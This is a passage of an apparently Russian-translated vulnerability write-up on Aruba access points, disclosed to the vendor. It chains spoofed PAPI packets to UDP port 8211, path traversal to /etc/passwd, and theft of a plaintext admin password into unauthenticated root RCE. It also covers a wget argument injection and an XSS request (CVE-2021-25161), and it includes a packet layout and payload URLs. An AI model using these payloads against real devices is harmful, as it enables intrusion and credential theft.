local_2c8 = msg_ref_body;
syslog(7,"%s: %d: opening \'%s\'","process_msg_ref",0x2f,msg_ref_body,local_2c4);
__stream = fopen(msg_ref_body,"r");
if (__stream != (FILE *)0x0) {
syslog(7,"%s: %d: reading large msg","process_msg_ref",0x34,local_2c8);
sVar4 = fread(__ptr,msg_ref_len,1,__stream);
if (sVar4 == 1) {
syslog(7,"%s: %d: read large msg of %u bytes","process_msg_ref",0x37,msg_ref_len);
__ptr[msg_ref_len] = '\0';
free(__s);
__s = __ptr;
}
fclose(__stream);
}
}
}
...
...
...
...
Эта функция выделяет память для сообщения PAPI, отправляет его другой службе на устройстве и ожидает ответа. Когда доступен ответ, если он содержит “/tmp” в теле, он прочитает содержимое данного файла и вернет его.
Что, если бы у нас был способ отправить ответ быстрее, чем реальный сервис? Это может сработать, поскольку нет способа проверить отправителя сообщения PAPI.
Msghandler:
Msghandler - это процесс на устройстве, прослушивающем UDP-порт 8211. Эта служба является прокси-сервером для сообщений PAPI, который позволяет сообщениям PAPI от однорангового узла сети WIFI достигать внутренних служб на нашем устройстве.
Чтобы перенаправить сообщение PAPI во внутреннюю службу, просто отправьте данные сообщения PAPI на порт 8211 UDP, и msghandler доставит данные в нужную внутреннюю службу.
Структура пакета для msg_ref:
Python:
"\x49\x72" # PAPI protocol magic header.
"\x00\x03" # PAPI protocol version 3.
"\x7F\x00\x00\x01" # destination host '127.0.0.1'.
"\x7F\x00\x00\x01" # src host '127.0.0.1'.
"\x00\x00"
"\x00\x00"
"\x3B\x7E" # Destination PAPI port.
"\x41\x41" # Source PAPI port(doesn't matter).
"\x04\x22"
"\x00\x00"
"\x02\x00" # Sequence number
"\x00\x00"
"\x00" * 12 * 4 # 16 bytes checksum + 32 bytes padding
"msg_ref 64 /tmp/../../etc/passwd\x00" # payload should be xor'ed by 0x93
Мы написали скрипт Python, который отправляет поддельные ответы на пакеты PAPI в swarm.cgi, который дает указание нашему процессу прочитать другой файл, на этот раз “/tmp/../etc/passwd”.
Нам нужно было найти неаутентифицированный кодовый путь, который достигает этой функции, чтобы использовать ее без учетных данных. Что может быть лучшим кандидатом, чем одна из функций, отвечающих за аутентификацию?
Есть два основных способа аутентификации пользователя. Первый - через обычный экран входа в систему, который отправляет код операции входа через swarm.cgi, второй - через механизм единого входа.
Этот второй метод очень прост: просто отправьте правильный ключ в cli, и если он верен, cli ответит новым sid.
Эта функция использует “process_msg_ref”, поэтому вместо того, чтобы позволить cli ответить (сообщая нам, что мы предоставили неправильный ключ), мы ускорили ответ cli и дали swarm.cgi команду прочитать вместо этого /etc/passwd.
Теперь мы можем читать произвольные файлы из файловой системы!
Чтение /etc/passwd не помогает нам обойти аутентификацию. Мы нашли еще один файл, из которого было бы легче читать.
Выбран файл /tmp/cfg-plaintext, этот файл содержит всю конфигурацию маршрутизатора в одном файле.
Хотя Aruba начала хешировать пароль в недавнем обновлении прошивки, когда мы обращались к файлу на нашей точке доступа (на которой установлена последняя версия прошивки), пароль был открытым текстом (очевидно, проблема со старой конфигурацией маршрутизатора).
Если наша точка доступа имеет старую конфигурацию открытого текста на последней прошивке, кто знает, сколько еще существует?
mgmt-user admin XXXXXXXXX (censored password in plaintext)
Мы решили прочитать файл конфигурации и извлечь наш пароль из этой строки.
Поскольку у нас есть имя пользователя и пароль для точки доступа, теперь мы можем сгенерировать собственный sid и завершить неаутентифицированную цепочку RCE, чтобы получить корневую оболочку на устройстве!
Демо:
Soundtrack: drozerix - crush
Полный рабочий эксплойт можно найти здесь https://github.com/alephsecurity/research/blob/master/PoCs/Aruba/full_rce.py
Другие уязвимости:
В дополнение к указанной выше цепочке RCE мы также обнаружили несколько других уязвимостей.
ИНЪЕКЦИЯ АРГУМЕНТА:
Мы обнаружили еще одну уязвимость внедрения аргументов в двоичном файле cli.
Во время раскрытия информации с Aruba мы обнаружили, что уязвимость также была обнаружена в то же время через их программу вознаграждения за ошибки.
В веб-интерфейсе есть функция, позволяющая обновлять прошивку либо из файла изображения, либо по URL-адресу. Когда мы предоставляем URL-адрес для обновления, будет создан запрос POST для swarm.cgi с соответствующим кодом операции для обновления изображения через URL-адрес.
/swarm.cgi?opcode=image-url-upgrade&ip=127.0.0.1&oper_id=5CFB3AB6-BDFD-4CE2-9C4D-3B0FA0BE56CB&image_url=Taurus@a&auto_reboot=true&refresh=false&sid=SID&nocache=0.3570383838714152
Этот запрос будет отправлен на “cli ”, в cli обработчик image-url-upgrade вызовет скрипт /aruba/bin/download_image_swarm с нашим URL-адресом в качестве входных данных.
Сценарий примет наш параметр прямо в команду wget, мы также можем вставить сюда аргументы, минуя swarm_url_valid с помощью символа табуляции!
XSS CVE-2021-25161:
Изучая работу адаптивного портала, мы обнаружили уязвимость межсайтового скриптинга в функциональности, отвечающей за предварительный просмотр пользовательского адаптивного портала.
Этот код операции получит несколько параметров, которые отражаются в ответе, мы можем выполнить простой запрос для запуска xss (конечно, с правильным SID).
/swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts=';%0Aalert("test");//&sid=SID
Выводы:
Это было забавное и захватывающее исследование уязвимостей, в ходе которого мы объединили несколько уязвимостей вместе, чтобы получить полную неаутентифицированную цепочку RCE на наших собственных маршрутизаторах.
Использованная литература:
Aruba Authentication Bypass / Insecure Transport / Tons Of Issues ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers
packetstormsecurity.com